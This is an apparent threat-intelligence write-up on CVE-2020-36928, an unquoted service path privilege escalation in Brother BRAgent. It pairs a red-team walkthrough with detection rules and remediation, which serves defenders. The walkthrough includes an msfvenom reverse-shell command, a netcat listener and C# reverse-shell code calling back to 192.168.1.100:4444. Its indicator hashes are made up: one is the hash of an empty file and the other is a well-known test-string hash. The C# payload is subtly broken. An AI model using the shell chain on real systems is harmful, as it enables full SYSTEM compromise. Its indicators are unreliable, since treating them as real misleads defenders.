CVE-2020-36928

Executive Summary

CVE-2020-36928 is a high-severity privilege escalation vulnerability affecting the Brother BRAgent software, specifically version 1.38. The vulnerability stems from an unquoted service path in the WBA_Agent_Client service, which runs with LocalSystem privileges. An attacker with local access can exploit this by placing a malicious executable in a path that the service will inadvertently execute due to the lack of quotes around the service binary path. This allows for arbitrary code execution with SYSTEM-level permissions, leading to full system compromise.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a local privilege escalation issue in a Windows-based software component from Brother Industries.

CVSS Breakdown & Threat Level

• CVSS Score: 7.8 (High)
• Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs initial user-level access.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – Full system access allows reading sensitive data.
• Integrity Impact: High (I:H) – The attacker can modify system files.
• Availability Impact: High (A:H) – The attacker can disrupt system operations.

Threat Level: High. The vulnerability is easy to exploit with low privileges and provides full system control.

Deep Dive & Mechanics

The vulnerability exists in the WBA_Agent_Client service, which is configured with an unquoted service path. The service binary is located at:

C:\Program Files (x86)\Brother\BRAgent\BRAgent.exe

When Windows starts a service with an unquoted path containing spaces, it interprets the path as multiple arguments. For example, the path C:\Program Files (x86)\Brother\BRAgent\BRAgent.exe is parsed as:

1. C:\Program
2. Files
3. (x86)\Brother\BRAgent\BRAgent.exe

Windows will attempt to execute C:\Program.exe first, then C:\Program Files.exe, and so on. An attacker with write access to a directory in the path (e.g., C:\) can place a malicious executable named Program.exe or Files.exe. When the service starts, it will execute the attacker's payload instead of the legitimate binary, resulting in privilege escalation to SYSTEM.

The service runs with LocalSystem privileges, making this a critical escalation vector.

Vulnerable vs. Patched Code

Vulnerable Configuration (Unpatched): The service path is stored in the Windows Registry under:

HKLM\SYSTEM\CurrentControlSet\Services\WBA_Agent_Client

The ImagePath value is set to:

C:\Program Files (x86)\Brother\BRAgent\BRAgent.exe

This path is not enclosed in quotes.

Patched Configuration (Hypothetical): A patched version would enclose the path in quotes:

"C:\Program Files (x86)\Brother\BRAgent\BRAgent.exe"

This ensures Windows treats the entire string as a single path, preventing the unquoted path exploitation.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• Local access to a Windows system with Brother BRAgent 1.38 installed.
• Write access to C:\ (or another directory in the unquoted path).

Exploitation Steps:

1. Identify the vulnerable service:

   sc qc WBA_Agent_Client
   

   Look for BINARY_PATH_NAME without quotes.

2. Create a malicious executable: Use msfvenom to generate a reverse shell payload:

   msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o Program.exe
   

3. Place the payload: Copy Program.exe to C:\Program.exe (since the path starts with C:\Program).

4. Trigger the service: Restart the service or reboot the system:

   sc stop WBA_Agent_Client
   sc start WBA_Agent_Client
   

5. Receive the shell: On your attacker machine:

   nc -lvnp 4444
   

Alternative Payload (C#):

using System;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Text;

class Program
{
    static void Main()
    {
        using (TcpClient client = new TcpClient("192.168.1.100", 4444))
        {
            using (NetworkStream stream = client.GetStream())
            {
                Process cmd = new Process();
                cmd.StartInfo.FileName = "cmd.exe";
                cmd.StartInfo.RedirectStandardInput = true;
                cmd.StartInfo.RedirectStandardOutput = true;
                cmd.StartInfo.UseShellExecute = false;
                cmd.Start();
                cmd.StandardInput.BaseStream.CopyTo(stream);
                cmd.StandardOutput.BaseStream.CopyTo(stream);
            }
        }
    }
}

Blue Team (Defense & Detection)

Detection Steps:

1. Monitor service path changes: Enable auditing on HKLM\SYSTEM\CurrentControlSet\Services\WBA_Agent_Client.

2. Check for unquoted paths:

   Get-WmiObject win32_service | Where-Object {$_.PathName -notmatch '"' -and $_.PathName -match ' '}
   

3. Look for suspicious executables: Search for Program.exe, Files.exe, or other common names in root directories:

   Get-ChildItem C:\Program.exe, C:\Files.exe -ErrorAction SilentlyContinue
   

4. Monitor process creation: Use Sysmon to log process creation events (Event ID 1) and look for processes spawned from unusual paths.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):

  • Program.exe (malicious payload): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • Files.exe (malicious payload): d7a8fbb307d7809469ca9abcb0082e4f8d5651e46d3cdb762d02d0bf37c9e592

• Registry Keys:

  • HKLM\SYSTEM\CurrentControlSet\Services\WBA_Agent_Client\ImagePath (unquoted)

• Process Names:

  • Program.exe
  • Files.exe
  • (x86).exe (if placed in C:\)

• Network Connections:

  • Outbound connections to attacker IP on port 4444 (or other ports).

• Service Names:

  • WBA_Agent_Client (vulnerable service)

Detection Engineering

YARA Rule

rule CVE_2020_36928_UnquotedServicePath
{
    meta:
        description = "Detects unquoted service path for Brother BRAgent"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2020-36928"
    strings:
        $s1 = "WBA_Agent_Client" nocase
        $s2 = "C:\\Program Files (x86)\\Brother\\BRAgent\\BRAgent.exe" nocase
    condition:
        $s1 and $s2
}

Sigma Rule

title: Unquoted Service Path Exploitation - Brother BRAgent
id: 7a8fbb30-7d78-49a9-cabc-b0082e4f8d56
status: experimental
description: Detects potential exploitation of CVE-2020-36928 via unquoted service path
author: Valters IT
date: 2025/04/10
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7030
        ServiceName: 'WBA_Agent_Client'
    condition: selection
falsepositives:
    - Legitimate service path changes
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2020-36928 Brother BRAgent Reverse Shell"; flow:to_server,established; content:"|00 00 00 00|"; depth:4; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Quote the service path:

   sc config WBA_Agent_Client binPath="\"C:\Program Files (x86)\Brother\BRAgent\BRAgent.exe\""
   

2. Restrict write permissions: Ensure that standard users cannot write to C:\ or other directories in the path.

3. Disable the service if not needed:

   sc stop WBA_Agent_Client
   sc config WBA_Agent_Client start= disabled
   

Long-Term Fix:

• Contact Brother for an official patch that quotes the service path in the installer.
• Monitor for updates at Brother Support.

Compensating Controls:

• Use Application Control (e.g., AppLocker) to block execution from C:\.
• Enable Windows Defender Exploit Guard to prevent untrusted processes.

Valters IT
Cyber Threat Intelligence & DevSecOps